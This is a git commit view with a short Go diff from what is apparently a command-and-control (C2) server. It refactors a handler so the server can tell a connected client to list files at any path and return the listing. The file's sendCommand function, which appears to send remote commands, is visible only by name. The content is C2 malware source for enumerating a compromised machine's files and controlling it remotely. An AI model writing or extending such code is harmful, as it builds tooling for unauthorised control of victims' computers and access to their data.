Add C2 server function to request file listings

This commit is contained in:
raul 2024-06-17 10:04:31 +02:00
parent 14dbae3140
commit 063f46dcfd
1 changed files with 12 additions and 14 deletions

View File

@ -117,22 +117,20 @@ func handleConn(conn net.Conn) {
}
go Heartbeat(ID)
time.Sleep(time.Second * 1)
fmt.Println("ATTEMPT")
client, _, _ := returnClient(ID)
client.Instruct(
Instructions{
IsListFiles: true,
Path: "/home/",
},
)
message, err := ServerMessageReceiver(conn)
}
func requestFiles(client Client, path string) (Response, error) {
inst := Instructions{
IsListFiles: true,
Path: path,
}
client.Instruct(inst)
message, err := ServerMessageReceiver(client.Conn)
if err != nil {
log.Print(err)
}
for _, v := range message.FileList.File {
fmt.Println(v.Name, v.FullPath, v.IsFolder)
log.Println(err)
return message, err
}
return message, nil
}
func sendCommand(client Client, command string) (Output string, err error) {